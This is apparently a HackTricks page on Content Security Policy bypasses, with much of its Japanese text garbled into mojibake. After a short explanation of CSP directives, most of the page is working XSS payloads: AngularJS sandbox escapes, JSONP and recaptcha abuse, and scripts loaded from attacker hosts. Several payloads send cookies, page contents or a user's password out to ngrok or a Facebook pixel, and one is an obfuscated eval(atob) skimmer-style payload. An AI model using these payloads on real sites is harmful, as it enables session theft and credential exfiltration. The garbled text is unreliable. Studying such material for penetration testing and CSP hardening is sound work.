ã³ã³ãã³ãã»ãã¥ãªãã£ããªã·ãŒ (CSP) ãã€ãã¹
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
CSPãšã¯
Content Security Policy (CSP) ã¯ã䞻㫠ã¯ãã¹ãµã€ãã¹ã¯ãªããã£ã³ã° (XSS) ã®ãããªæ»æããä¿è·ãã ããšãç®çãšãããã©ãŠã¶æè¡ãšããŠç¥ãããŠããŸãããã©ãŠã¶ãå®å
šã«èªã¿èŸŒãããªãœãŒã¹ã®ãã¹ããœãŒã¹ãå®çŸ©ã»æå®ããããšã§æ©èœããŸãããããã®ãªãœãŒã¹ã«ã¯ç»åããã¬ãŒã ãJavaScriptãªã©ãå«ãŸããŸããäŸãã°ãããªã·ãŒã¯åäžãã¡ã€ã³ïŒselfïŒããã®ãªãœãŒã¹ã®èªã¿èŸŒã¿ãšå®è¡ãèš±å¯ããããã€ã³ã©ã€ã³ãªãœãŒã¹ã evalãsetTimeoutãsetInterval ã®ãããªé¢æ°ãéããæååã³ãŒãã®å®è¡ãèš±å¯ããå ŽåããããŸãã
CSP ã®å®è£ 㯠ã¬ã¹ãã³ã¹ããã㌠ãéããŠããŸã㯠HTML ããŒãžã« meta èŠçŽ ãçµã¿èŸŒãããšã§è¡ãããŸãããã©ãŠã¶ã¯ãã®ããªã·ãŒã«åŸãèŠå®ã匷å¶ããæ€åºãããéåãå³åº§ã«ãããã¯ããŸãã
- ã¬ã¹ãã³ã¹ããããŒã§å®è£ ããã:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- meta tag ã«ãã£ãŠå®è£ ããã:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
ããããŒ
CSPã¯æ¬¡ã®ããããŒã§åŒ·å¶ãŸãã¯ç£èŠã§ããŸã:
Content-Security-Policy: CSPã匷å¶ããŸãããã©ãŠã¶ã¯éåããããã¯ããŸããContent-Security-Policy-Report-Only: ç£èŠçšã«äœ¿ãããŸããéåããããã¯ããã«ã¬ããŒãããŸãããã¬ãããã¯ã·ã§ã³ç°å¢ã§ã®ãã¹ãã«é©ããŠããŸãã
ãªãœãŒã¹ã®å®çŸ©
CSPã¯ãã¢ã¯ãã£ãããã³ããã·ãã³ã³ãã³ãã®èªã¿èŸŒã¿å
ïŒãªãªãžã³ïŒãå¶éããã€ã³ã©ã€ã³JavaScriptã®å®è¡ãeval()ã®äœ¿çšãªã©ãå¶åŸ¡ããŸããããªã·ãŒã®äŸã¯æ¬¡ã®ãšããã§ã:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
ãã£ã¬ã¯ãã£ã
- script-src: JavaScriptã®ç¹å®ã®ãœãŒã¹ãèš±å¯ããŸããURLãã€ã³ã©ã€ã³ã¹ã¯ãªãããã€ãã³ããã³ãã©ãXSLTã¹ã¿ã€ã«ã·ãŒãã§ããªã¬ãŒãããã¹ã¯ãªãããå«ã¿ãŸãã
- default-src: ç¹å®ã®ååŸãã£ã¬ã¯ãã£ããç¡ãå Žåã®ãªãœãŒã¹ååŸã®ããã©ã«ãããªã·ãŒãèšå®ããŸãã
- child-src: web workersããã³åã蟌ãŸãããã¬ãŒã ã®ã³ã³ãã³ãã«å¯Ÿããèš±å¯ããããªãœãŒã¹ãæå®ããŸãã
- connect-src: fetchãWebSocketãXMLHttpRequestã®ãããªã€ã³ã¿ãŒãã§ãŒã¹ã䜿ã£ãŠèªã¿èŸŒããURLãå¶éããŸãã
- frame-src: ãã¬ãŒã ã®ããã®URLãå¶éããŸãã
- frame-ancestors: çŸåšã®ããŒãžãåã蟌ãããœãŒã¹ãæå®ããŸãã
<frame>,<iframe>,<object>,<embed>,<applet>ã®ãããªèŠçŽ ã«é©çšãããŸãã - img-src: ç»åã®èš±å¯ãœãŒã¹ãå®çŸ©ããŸãã
- font-src:
@font-faceã§èªã¿èŸŒãŸãããã©ã³ãã®æå¹ãªãœãŒã¹ãæå®ããŸãã - manifest-src: ã¢ããªã±ãŒã·ã§ã³ãããã§ã¹ããã¡ã€ã«ã®èš±å¯ãœãŒã¹ãå®çŸ©ããŸãã
- media-src: ã¡ãã£ã¢ãªããžã§ã¯ãã®èªã¿èŸŒã¿ã«å¯Ÿããèš±å¯ãœãŒã¹ãå®çŸ©ããŸãã
- object-src:
<object>,<embed>,<applet>èŠçŽ ã®èš±å¯ãœãŒã¹ãå®çŸ©ããŸãã - base-uri:
<base>èŠçŽ ã§ã®èªã¿èŸŒã¿ã«å¯Ÿããèš±å¯URLãæå®ããŸãã - form-action: ãã©ãŒã éä¿¡ã®æå¹ãªãšã³ããã€ã³ããåæããŸãã
- plugin-types: ããŒãžãåŒã³åºãã mime ã¿ã€ããå¶éããŸãã
- upgrade-insecure-requests: ãã©ãŠã¶ã«HTTPã®URLãHTTPSã«æžãæããããæç€ºããŸãã
- sandbox:
<iframe>ã®sandbox屿§ã«äŒŒãå¶éãé©çšããŸãã - report-to: ããªã·ãŒéåããã£ãå Žåã«ã¬ããŒããéãããã°ã«ãŒããæå®ããŸãã
- worker-src: WorkerãSharedWorkerãServiceWorkerã¹ã¯ãªããã®æå¹ãªãœãŒã¹ãæå®ããŸãã
- prefetch-src: ãã§ãããŸãã¯ããªãã§ããããããªãœãŒã¹ã®æå¹ãªãœãŒã¹ãæå®ããŸãã
- navigate-to: ããã¥ã¡ã³ããããããææ®µïŒa, form, window.location, window.open, ãªã©ïŒã§ç§»åã§ããURLãå¶éããŸãã
ãœãŒã¹
*:data:,blob:,filesystem:ã¹ããŒã ãæã€ãã®ãé€ãããã¹ãŠã®URLãèš±å¯ããŸãã'self': åäžãã¡ã€ã³ããã®èªã¿èŸŒã¿ãèš±å¯ããŸãã'data': dataã¹ããŒã çµç±ã§ãªãœãŒã¹ã®èªã¿èŸŒã¿ãèš±å¯ããŸãïŒäŸïŒBase64ãšã³ã³ãŒããããç»åïŒã'none': ãããªããœãŒã¹ããã®èªã¿èŸŒã¿ããããã¯ããŸãã'unsafe-eval':eval()ãé¡äŒŒã®ã¡ãœããã®äœ¿çšãèš±å¯ããŸããã»ãã¥ãªãã£äžæšå¥šãããŸããã'unsafe-hashes': ç¹å®ã®ã€ã³ã©ã€ã³ã€ãã³ããã³ãã©ãæå¹ã«ããŸãã'unsafe-inline': ã€ã³ã©ã€ã³<script>ã<style>ã®ãããªã€ã³ã©ã€ã³ãªãœãŒã¹ã®äœ¿çšãèš±å¯ããŸããã»ãã¥ãªãã£äžæšå¥šãããŸããã'nonce': æå·åŠçnonceïŒäœ¿ãæšãŠçªå·ïŒãçšããç¹å®ã®ã€ã³ã©ã€ã³ã¹ã¯ãªããã®ãã¯ã€ããªã¹ãã§ãã- If you have JS limited execution itâs possible to get a used nonce inside the page with
doc.defaultView.top.document.querySelector("[nonce]")and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isnât needed), like in:
nonceãåå©çšããŠã¹ã¯ãªãããèªã¿èŸŒã
```html'sha256-<hash>': ç¹å®ã®sha256ããã·ã¥ãæã€ã¹ã¯ãªããããã¯ã€ããªã¹ãã«ç»é²ããŸãã'strict-dynamic': nonce ãŸãã¯ããã·ã¥ã§ãã¯ã€ããªã¹ãç»é²ãããŠããå Žåãä»»æã®ãœãŒã¹ããã¹ã¯ãªãããèªã¿èŸŒããããã«ããŸãã'host': ç¹å®ã®ãã¹ããæå®ããŸãïŒäŸ:example.comïŒãhttps:: HTTPSã䜿çšããURLã«å¶éããŸããblob:: Blob URLïŒäŸ: JavaScriptã§äœæãããBlob URLïŒãããªãœãŒã¹ãèªã¿èŸŒããããã«ããŸããfilesystem:: filesystemãããªãœãŒã¹ãèªã¿èŸŒããããã«ããŸãã'report-sample': éåã¬ããŒãã«éåã³ãŒãã®ãµã³ãã«ãå«ããŸãïŒãããã°ã«æçšïŒã'strict-origin': âselfâã«äŒŒãŠããŸããããœãŒã¹ã®ãããã³ã«ã®ã»ãã¥ãªãã£ã¬ãã«ãããã¥ã¡ã³ããšäžèŽããããšãä¿èšŒããŸãïŒå®å šãªãªãªãžã³ã®ã¿ãå®å šãªãªãªãžã³ãããªãœãŒã¹ãèªã¿èŸŒããŸãïŒã'strict-origin-when-cross-origin': åäžãªãªãžã³ã®ãªã¯ãšã¹ãã§ã¯ãã«URLãéä¿¡ããŸãããã¯ãã¹ãªãªãžã³ã®ãªã¯ãšã¹ãã§ã¯ãªãªãžã³ã®ã¿ãéä¿¡ããŸãã'unsafe-allow-redirects': å³åº§ã«å¥ã®ãªãœãŒã¹ãžãªãã€ã¬ã¯ããããªãœãŒã¹ã®èªã¿èŸŒã¿ãèš±å¯ããŸããã»ãã¥ãªãã£ã匱ããããæšå¥šãããŸããã
å±éºãªCSPã«ãŒã«
âunsafe-inlineâ
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
åäœãã payload: "/><script>alert(1);</script>
self + âunsafe-inlineâ via Iframes
CSP bypass: self + âunsafe-inlineâ with Iframes
âunsafe-evalâ
Caution
ããã¯åäœããŸããã詳现ã¯check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
åäœãããã€ããŒã:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
ããäœããã®æ¹æ³ã§ãèš±å¯ãããã¹ã¯ãªãããäœæãã圢ã§ããªãã®JSã³ãŒãã䜿ã£ãŠDOMå ã«allowed JS code created a new script tag ãçæã§ããã°ããã®new script tag will be allowed to be executedã
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
åäœãã payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
object-src ãš default-src ã®æ¬ åŠ
[!CAUTION] > ããã¯ããåäœããŠããªãããã§ã
Content-Security-Policy: script-src 'self' ;
åäœãã payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
File Upload + âselfâ
Content-Security-Policy: script-src 'self'; object-src 'none' ;
ããJSãã¡ã€ã«ãã¢ããããŒãã§ãããªãããã®CSPããã€ãã¹ã§ããŸãïŒ
åäœãã payloadïŒ
"/>'><script src="/uploads/picture.png.js"></script>
However, itâs highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.
Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this wonât be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. âHopefullyâ, there are mistakes. For example, from a CTF I learnt that Apache doesnât know the .wave extension, therefore it doesnât serve it with a MIME type like audio/*.
From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).
Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.
Third Party Endpoints + (âunsafe-evalâ)
Warning
For some of the following payload
unsafe-evalis not even needed.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
è匱ãªããŒãžã§ã³ã® angular ãèªã¿èŸŒã¿ãä»»æã® JS ãå®è¡ãã:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads using Angular + window ãªããžã§ã¯ããè¿ã颿°ãæã€ã©ã€ãã©ãªã䜿ã£ããã€ããŒã (check out this post):
Tip
ãã®æçš¿ã¯ã
cdn.cloudflare.comïŒãŸãã¯ä»ã®èš±å¯ãããJSã©ã€ãã©ãªãªããžããªïŒãããã¹ãŠã®ã©ã€ãã©ãªãèªã¿èŸŒã¿ãåã©ã€ãã©ãªã®è¿œå 颿°ããã¹ãŠå®è¡ããŠãã©ã®ã©ã€ãã©ãªã®ã©ã®é¢æ°ãwindowãªããžã§ã¯ããè¿ããã確èªã§ããããšã瀺ããŠããŸãã
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS ã¯ã©ã¹åãã:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
google recaptcha JS ã³ãŒãã®æªçš
this CTF writeup ã«ãããšãCSP å ã§ https://www.google.com/recaptcha/ ãæªçšã㊠CSP ããã€ãã¹ããä»»æã® JS ã³ãŒããå®è¡ã§ããŸã:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
ããã« payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
www.google.com ãæªçšãã open redirect
以äžã®URL㯠example.com ã«ãªãã€ã¬ã¯ãããŸãïŒåºå ž: hereïŒ:
https://www.google.com/amp/s/example.com/
æªçš *.google.com/script.google.com
Google Apps Script ãæªçšã㊠script.google.com å ã®ããŒãžã§æ å ±ãåãåãããšãå¯èœã§ããããã¯ãã®ã¬ããŒãã§è¡ãããŠããäŸã§ãã
ãµãŒãããŒãã£ã®ãšã³ããã€ã³ã + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
ãã®ãããªã·ããªãªã§ã¯ãscript-src ã self ã«èšå®ãããç¹å®ã®ãã¡ã€ã³ããã¯ã€ããªã¹ãç»é²ãããŠããå ŽåãJSONP ã䜿ã£ãŠåé¿ã§ããŸããJSONP ãšã³ããã€ã³ãã¯äžå®å
šãªã³ãŒã«ããã¯ã¡ãœãããèš±å¯ãããããæ»æè
ã XSS ãå®è¡ã§ããããšããããåäœãããã€ããŒã:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee contains ready to use JSONP endpoints to CSP bypass of different websites.
åãè匱æ§ã¯ãtrusted endpointã«Open Redirectãå«ãŸããŠããå Žåã«ãçºçããŸãããªããªããåæã®endpointãä¿¡é ŒãããŠãããªãããªãã€ã¬ã¯ããä¿¡é Œãããããã§ãã
Third Party Abuses
As described in the following post, there are many third party domains, that might be allowed somewhere in the CSP, can be abused to either exfiltrate data or execute JavaScript code. Some of these third-parties are:
| ãšã³ãã£ã㣠| èš±å¯ããããã¡ã€ã³ | æ©èœ |
|---|---|---|
| www.facebook.com, *.facebook.com | Exfil | |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
ã¿ãŒã²ããã®CSPå ã«äžèšã®ããããã®èš±å¯ãã¡ã€ã³ãããå Žåããã®ãµãŒãããŒãã£ãµãŒãã¹ã«ç»é²ããããšã§CSPããã€ãã¹ããexfiltrateããããã³ãŒããå®è¡ãããã§ããå¯èœæ§ããããŸãã
For example, if you find the following CSP:
Content-Security-Policyâ: default-src 'selfâ www.facebook.com;â
ãŸãã¯
Content-Security-Policyâ: connect-src www.facebook.com;â
ããŒã¿ãexfiltrateã§ããã¯ãã§ããããã¯åŸæ¥ããGoogle Analytics/Google Tag Managerã§è¡ãããŠããæ¹æ³ãšåæ§ã§ãããã®å Žåãäžè¬çã«æ¬¡ã®æé ã«åŸããŸã:
- ããã§Facebook Developerã¢ã«ãŠã³ããäœæããŸãã
- æ°ãã âFacebook Loginâ ã¢ããªãäœæãã âWebsiteâ ãéžæããŸãã
- ãSettings -> Basicãã«ç§»åããŠãApp IDããååŸããŸãã
- ããŒã¿ãexfiltrateãããã¿ãŒã²ãããµã€ãã§ã¯ãFacebook SDKã®ã¬ãžã§ãã âfbqâ ãçŽæ¥äœ¿çšããâcustomEventâ ãšããŒã¿ãã€ããŒãã䜿ã£ãŠexfiltrateã§ããŸãã
- Appã®ãEvent Managerãã«ç§»åããäœæããã¢ããªã±ãŒã·ã§ã³ãéžæããŸãïŒnote the event manager could be found in an URL similar to this: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_eventsïŒã
- ãTest Eventsãã¿ããéžæããŠãâyourâ web siteããéä¿¡ãããã€ãã³ãã確èªããŸãã
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attackerâs Facebook developer account app-id and issue a custom event like this:
fbq('init', '1279785999289471');â // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{â
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"â
});
åã®è¡šã§æå®ããæ®ãã®7ã€ã®ãµãŒãããŒãã£ãã¡ã€ã³ã«ã€ããŠã¯ãæªçšã§ããæ¹æ³ãä»ã«ã倿°ãããŸãã以åã®blog postãåç §ããŠãã ããã
Bypass via RPO (Relative Path Overwrite)
åè¿°ã®ãªãã€ã¬ã¯ã·ã§ã³ã«ãããã¹å¶éã®ãã€ãã¹ã«å ããŠãäžéšã®ãµãŒãã§äœ¿çšã§ããRelative Path Overwrite (RPO)ãšåŒã°ããå¥ã®ææ³ããããŸãã
äŸãã°ãCSPãhttps://example.com/scripts/react/ã®ãã¹ãèš±å¯ããŠããå Žåã以äžã®ããã«ãã€ãã¹ã§ããŸã:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
ãã©ãŠã¶ã¯æçµçã« https://example.com/scripts/angular/angular.js ãèªã¿èŸŒã¿ãŸãã
ããã¯ããã©ãŠã¶ããèŠããš https://example.com/scripts/react/ é
äžã«ãã ..%2fangular%2fangular.js ãšãããã¡ã€ã«ãèªã¿èŸŒãã§ãããCSP ã«æºæ ããŠããããåäœããŸãã
ãã©ãŠã¶ã¯ããããã³ãŒãããå®éã«ã¯ https://example.com/scripts/react/../angular/angular.js ãèŠæ±ããŸãããã㯠https://example.com/scripts/angular/angular.js ãšåçã§ãã
By ãã©ãŠã¶ãšãµãŒããŒéã® URL è§£éã®äžæŽåãæªçšããããšã§ããã¹ã«ãŒã«ããã€ãã¹ã§ããŸãã
解決çã¯ããµãŒããŒåŽã§ %2f ã / ãšæ±ããããã©ãŠã¶ãšãµãŒããŒã§è§£éãäžèŽãããããšã§ãã®åé¡ãåé¿ããããšã§ãã
ãªã³ã©ã€ã³äŸ: https://jsbin.com/werevijewa/edit?html,output
Iframes ã® JS å®è¡
base-uri ãæ¬ èœããŠããå Žå
ãã base-uri ãã£ã¬ã¯ãã£ããååšããªãå Žåãdangling markup injection ãæªçšã§ããŸãã
ããã«ãããŒãžãçžå¯Ÿãã¹ã䜿ã£ãŠã¹ã¯ãªãããèªã¿èŸŒãã§ããïŒäŸ: <script src="/js/app.js">ïŒã〠Nonce ã䜿çšããŠããå Žåãbase tag ãæªçšããŠãã®ã¹ã¯ãªãããèªã¿èŸŒãŸããããšã§ your own server achieving a XSS.
è匱ãªããŒãžã httpS ã§é
ä¿¡ãããŠããå Žåã¯ãbase ã« httpS ã® URL ã䜿çšããŠãã ããã
<base href="https://www.attacker.com/" />
AngularJS ã€ãã³ã
Content Security Policy (CSP) ãšããŠç¥ãããç¹å®ã®ããªã·ãŒã¯ JavaScript ã€ãã³ããå¶éããå ŽåããããŸããããã§ããAngularJS ã¯ã«ã¹ã¿ã ã€ãã³ããšããä»£æ¿ææ®µãæäŸããŸããã€ãã³ãå
ã§ãAngularJS ã¯ãã€ãã£ãã®ãã©ãŠã¶ã€ãã³ããªããžã§ã¯ããåç
§ããç¹æ®ãªãªããžã§ã¯ã $event ãæäŸããŸãããã® $event ãªããžã§ã¯ã㯠CSP ãåé¿ããããã«æªçšã§ããŸããç¹ã« Chrome ã§ã¯ $event/event ãªããžã§ã¯ã㯠path 屿§ãæã¡ãã€ãã³ãã®å®è¡ãã§ãŒã³ã«é¢äžãããªããžã§ã¯ãã®é
åãä¿æããŠãããwindow ãªããžã§ã¯ããåžžã«æåŸã«é
眮ãããŠããŸãããã®æ§é ã¯ãµã³ãããã¯ã¹è±åºã®ææ³ã«ãšã£ãŠéèŠã§ãã
ãã®é
åã orderBy ãã£ã«ã¿ã«æž¡ãããšã§å埩åŠçãå¯èœã«ãªããæ«å°Ÿã®èŠçŽ ïŒwindow ãªããžã§ã¯ãïŒãå©çšã㊠alert() ã®ãããªã°ããŒãã«é¢æ°ãåŒã³åºãããšãã§ããŸãã以äžã®ã³ãŒãã¹ããããã¯ãã®ããã»ã¹ã瀺ããŠããŸã:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
ãã®ã¹ããããã¯ãng-focus ãã£ã¬ã¯ãã£ãã䜿çšããŠã€ãã³ããããªã¬ãŒãã$event.path|orderBy ã䜿çšã㊠path é
åãæäœããwindow ãªããžã§ã¯ããä»ã㊠alert() ãå®è¡ã㊠document.cookie ã衚瀺ãããããšã瀺ããŠããŸãã
ä»ã® Angular bypasses ã¯æ¬¡ã§ç¢ºèªããŠãã ãã https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS ãšãã¯ã€ããªã¹ãåããããã¡ã€ã³
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
CSP ããªã·ãŒã Angular JS ã¢ããªã±ãŒã·ã§ã³ã® script loading çšãã¡ã€ã³ããã¯ã€ããªã¹ãåããŠããå Žåãcallback functions ã®åŒã³åºããç¹å®ã®è匱㪠classes ãå©çšããŠãã€ãã¹ã§ããŸãããã®ææ³ã®è©³çްã¯ã詳ããã¬ã€ããå«ããã® git repository ãåç §ããŠãã ããã
Working payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Other JSONP arbitrary execution endpoints can be found in here (ãã®äžéšã¯åé€ãŸãã¯ä¿®æ£ãããŸãã)
Bypass via Redirection
CSPããµãŒããŒãµã€ãã®ãªãã€ã¬ã¯ãã«ééãããšããäœãèµ·ããŸããïŒ ãªãã€ã¬ã¯ããèš±å¯ãããŠããªãå¥ã®ãªãªãžã³ã«åããå Žåã¯ããã¯ã倱æããŸãã
ããããCSP spec 4.2.2.3. Paths and Redirects ã®èšè¿°ã«ããã°ããªãã€ã¬ã¯ããå¥ã®ãã¹ã«åããå Žåãå ã®å¶éãåé¿ã§ããå¯èœæ§ããããŸãã
äŸã¯æ¬¡ã®ãšããã§ãïŒ
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
CSP ã https://www.google.com/a/b/c/d ã«èšå®ãããŠããå Žåããã¹ãèæ
®ãããããã/test ãš /a/test ã®äž¡æ¹ã®ã¹ã¯ãªãã㯠CSP ã«ãã£ãŠãããã¯ãããŸãã
ããããæçµçã« http://localhost:5555/301 㯠ãµãŒããŒåŽã§ https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// ã«ãªãã€ã¬ã¯ããããŸãããªãã€ã¬ã¯ããªã®ã§ããã¹ã¯èæ
®ããããã¹ã¯ãªããã¯èªã¿èŸŒãŸããããããã¹å¶éãåé¿ã§ããŸãã
ãã®ãªãã€ã¬ã¯ã·ã§ã³ããããšãããšããã¹ãå®å šã«æå®ãããŠããŠããåé¿ãããŠããŸããŸãã
ãããã£ãŠãæåã®å¯Ÿçã¯ããŠã§ããµã€ãã«ãªãŒãã³ãªãã€ã¬ã¯ãã®è匱æ§ããªãããšããã㊠CSP ã«ãŒã«å ã«æªçšå¯èœãªãã¡ã€ã³ãå«ãŸããŠããªãããšã確èªããããšã§ãã
CSP ã dangling markup ã§ãã€ãã¹
Read how here.
âunsafe-inlineâ; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline' ã¯ã³ãŒãå
ã®ä»»æã®ã¹ã¯ãªãããå®è¡ã§ããããšãæå³ããŸãïŒXSSã¯ã³ãŒããå®è¡ã§ããŸãïŒãimg-src * ã¯ãŠã§ãããŒãžäžã§ä»»æã®ãªãœãŒã¹ããã®ç»åã䜿çšã§ããããšãæå³ããŸãã
ãã®CSPã¯ç»åãä»ããŠããŒã¿ãå€éšãžéä¿¡ããŠåé¿ã§ããŸãïŒãã®å ŽåãXSSãCSRFãæªçšããbotãã¢ã¯ã»ã¹ã§ããããŒãžã«SQLiããããç»åã§ãã©ã°ãæœåºããŸãïŒïŒ
<script>
